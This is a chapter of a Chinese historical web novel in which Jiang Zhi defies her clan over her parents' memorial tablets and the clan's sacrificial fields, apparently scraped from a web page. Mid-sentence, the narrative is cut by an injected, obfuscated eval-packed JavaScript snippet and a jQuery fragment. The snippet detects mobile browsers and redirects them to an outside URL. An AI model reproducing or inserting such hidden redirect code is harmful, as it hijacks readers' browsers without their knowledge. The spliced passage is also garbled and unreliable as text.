无灾好几次急得手直往腰间摸,摸了个空的时候才意识到此次出行,他的身份只是个随从,平时佩的刀不是随意就能戴出来的。


    好在姜家族人没对姜二姑娘动用暴力,眼见没啥危险,他凑在晋王耳边,低声道:“姑娘这嘴是真毒啊,别说,姜家族人的涵养还挺好。”


    这要换一班老娘们来,听见姜二姑娘这诛心之言,不得扑上去生撕了她?


    晋王但笑不语。


    无灾又问:“公子,咱来是干啥的?我看姑娘这么大杀四方,也没用到咱俩的地方啊?”


    “别急,待会看我眼色行事。”


    姜四叔亦是三老太爷嫡亲的儿子,三老太爷不只有个不能生育的儿子,还有一个傻儿子,一个傻姑娘呢,照姜至这么无差别的攻击下,待会儿这些都是她诋毁自己的把柄。


    岂能容她再这么放肆下去?


    可他从来就不是个宽厚的长辈,姜至越是想拿到她爹娘的牌位,三老太爷越是不肯给,他示意姜大伯。


    姜大伯便拽住要发疯的姜四叔,对姜至道:“你这孩子,真不通人情世故,既然你蛮不讲理,非要拿走你爹娘的牌位,拿走就是。”


    他盯着姜至,不无威胁的道:“不过,既拿走了就没有再送回来的道理,你将来可别后悔。”


    “后悔的还不一定是谁呢。”


    诸人:“……”这孩子忒狂得没边了,这地上容不下她了吧?她这是要上天啊?


    有人进了祠堂,把先姜候爷夫妻的牌位抱了出来。


    姜至伸手要接,姜大伯又道:“你想要的,就是抱走你父母的牌位,既然如今满足了你的心愿,你便不会再在祠堂闹事了是吧?别回头你过得不好,又来族里撒泼打滚,想让族里替你做主。”


    “不会,我刚才没说笑,以后我另立族谱。”


    姜二老爷拦着不让:“姜至,你疯了,好端端的,你把大哥大嫂的牌位抱走算怎么回事?”


    姜至瞅着他道:“不容于族,我走就是了,这么浅显的道理,二叔有什么想不明白的?你要是觉得我爹是镇着祠堂的栋梁之石,他不在这儿了,这祠堂也就没什么意思了,要不你也自请除族,还跟我爹在一个族谱里?”


    “你……”姜二老爷除了“混帐,胡闹、放肆”,已经词穷了,因为他觉得这世上再恶毒无比的言语都抵不上姜至的行径更让人罄竹难书。


    姜至又看向旁人:“别的叔伯也一样,人往高处走嘛。虽说你们今日对我无情无义,可我和我爹一样,惯来以德报怨,你们谁想来投奔我,挑挑拣拣,有那良知未泯的,我也不是不能收。对了,烦请大家转告一下,哪家日子过得揭不开锅了,都可以到我那里,我别的不能帮,帮大家勉强糊口,一日管顿饭的米粮还是有的,总之,大富大贵我未必能,但饿不死总是真的。”


    还真有个年轻人期期艾艾的道:“你现在自身都难保,将来还不一定怎么样呢,你怎么管别人的温饱?”


    大过年的,再穷各家也都给家人添置一身新衣裳,偏他衣裳上补丁撂补丁。


    穿得也薄,都数九寒天的了,人人都是大毛披风或是大氅,再不济也是加棉袄子,就他穿着夹衣,本来个头不矮,可在寒风里冻着,缩头缩肩,人显得不精神不利落不说,还显得佝偻,好像个小老头。


    姜至看向他。


    他虽说也姓姜,但跟姜至的祖父不是一支,往上溯几代,应该是出了五服了。


    他年纪只比姜至大个两岁,却是叔叔辈。


    家里父母健在,却都是没什么本事的,底下一弟一妹,不过借着族里的接济勉强度日。


    姜至道:“只要你有手有脚,肯吃苦受累,我自会管你的一日三餐。”


    旁边有人便骂他:“你个吃里爬外的,族里没少接济你们一家,你这会儿居然还生出外心来了?也不睁大你的狗眼看看,她一个妇道人家,自己将来都祸福难料呢,还能管你?别被猪油蒙了心,回头两边都落不到好。”


    姜至情知不是一个人揣着这样的心思,当下笑笑,轻轻扔下一句话:“族里现如今有一千二百亩祭田,其中有六百亩的地契在我手里。既然我被除了族,这祭田自然不归公中管了。这么多田地,春要耕种,夏要除草,秋要收成,冬要储藏,我么,只有这么一双手,这么多活计我可做不来,自然需要人手……”


    她视线从脸色大变的众人中掠过,浅浅一笑:“多多益善。”


    三老太爷的脸色终于失去了先前的从容,那隐在骨子里的算计和阴暗也显露无移,他死死盯着姜至,道:“二丫头,你可别仗着长辈们不和你计较,你就信口开合,怎么,上嘴皮一碰下嘴皮,这公中祭田就成你的了?天底下哪儿有这样的便宜事?”


    姜大伯脸色也变了:“再,再说了,这祭田甭管是谁买的,说好了是归族里就是归族里,哪儿有食言而肥,说了不算的道理?”


    姜至颔首,道:“大伯说得特别有道理,哪儿有吃了吐,吐了还吃的道理?就像您,如今担任着族里的司会一职,负责族里的钱粮收入支出,也负责发放族里的赈济之资。这十几年,没少往自己家里拨拉吧?到了自己口袋里的,自然是自己的,就算别人问到鼻子底下,也绝计不能承认,更甚,绝不会往外掏一文半子。”


    “不是,我没有,你无凭无证,就敢污蔑长辈?你……”


    “凭证啊?那还不是想要就有。”姜至看向姜七叔,道:“七叔长年疑心病重,成日的怀疑我爹中饱私囊,贪污纳贿,要我说,现下就有个好机会,你不如好好查查族里的公帐。”


    姜七叔还真是蠢蠢欲动,他刚说了句“族里的帐确实该查”,就被姜五叔一脚踹到一边,道:“哪儿都有你?查帐查帐,查你娘个头。”


    姜七叔的兄弟姜二叔不干了,上前揪着姜五叔的衣襟道:“你骂谁娘呢?你们一家子就是个不折不扣的老鼠窝,偷着摸着把族里的好东西都偷到你们自己家了,查帐怎么了?要我说就该查……”


    三老太爷顾不得他们互相攀咬,只问姜至:“你口说无凭,地契在哪儿?”


    姜至从袖袋里掏出一沓纸来。


    在场诸人俱都色变。


    姜大伯三


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985727|193315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    两步上前,抬手就抢。


    无灾急得“哎”了一声,不等晋王朝他示意,忙抢步要上前。


    但可惜迟了一步,那撂地契便落到了姜大伯手里。


    无灾恨地直拍大腿。


    三老太爷见地契到了手,发狠吩咐道:“这丫头失心疯了,把她捆起来关到族里,着人严加看管,免得到外头给族里招灾惹祸。”


    这时诸人也顾不得什么男女有别,什么长辈晚辈,齐朝着姜至涌去。


    晋王和无灾不能再置身事外,连带两个丫鬟将姜至围在中间,将她护得严严实实。


    有那不识眼色的上前,两人三拳两脚的踢到一边。


    那俩小丫鬟也不是善茬,一双手和铁钯子似的,沾上谁,谁脸上就多几道血痕。


    一时此起彼伏,都是唉哟唉哟的呼痛声。


    姜至手持匕首,端的是无一丝一毫的惧色,她看向三老太爷道:“我想过你会无耻,可我没想到你会这么无耻,原本还想着到底都是姜姓一族,你和我祖父又是嫡亲兄弟,我还念着几分亲情。啧啧,这兄弟之情也着实没什么可值得称道的,既如此,这六百亩祭田我是一定要收走。就算贱卖,我也不会留在你们这堆硕鼠手里。”


    见她说得这么有恃无恐,三老太爷反应过来:“糟了。”


    他一把抢过姜大伯手里的“地契”,脸色瞬变。


    这哪儿是地契,不过是一堆空白的宣纸。


    他暗骂一声“废物”,这么多活了好几十岁的大老爷们,居然被这么个二十出头的妇道人家给耍得团团转。他就说老大那一家子都是长得憨厚,实则一肚子心眼儿。


    眼见这院里乱成一锅粥,三老太爷在气晕之前大喝了一声:“都给我住手。”


    …………


    姜至一回到东苑,就吩咐张管事:“派人去请郎中。”


    张管事大惊:“姑娘您刚才去哪儿了?受伤了?”


    “没大事,我就是受了点儿皮外伤。”她回头看了眼晋王和无灾。


    俩人你搭着我,我搭着你,这会儿低头含胸,一副无精打采的模样。


    见她回头看,晋王立时踩了无灾一脚,无灾即刻“唉哟、唉哟”地叫唤起来,一副全身骨折的悲惨模样。


    姜至真是话都懒得说了。


    也没让他俩去啊?去就去吧,看热闹还不嫌够,非得讹人家给自己挂点儿彩。


    张管事也瞧见了他二人,不由地啧了声,一边命人去请郎中,一边暗自腹诽:瞧这俩人,长得人高马大的,敢情是银样镴枪头,中看不中用的货。


    也不知道姑娘打哪儿寻来的,这月例银子给了多少?这还没正儿八经的上工呢,先掏一笔医药银子。


    姑娘亏大发了。


    他抬脚要走,姜至又叫住他。


    张管事一激灵,还当自己的心思被姜至猜着了,一时脸上都带着心虚。


    却见姜至面露沉吟之色,压根没瞅他。


    张管事在一旁等了一会儿,才听姜至问:“我记得父亲曾经部下有个姓沈的军医,不知现下在哪儿高就?”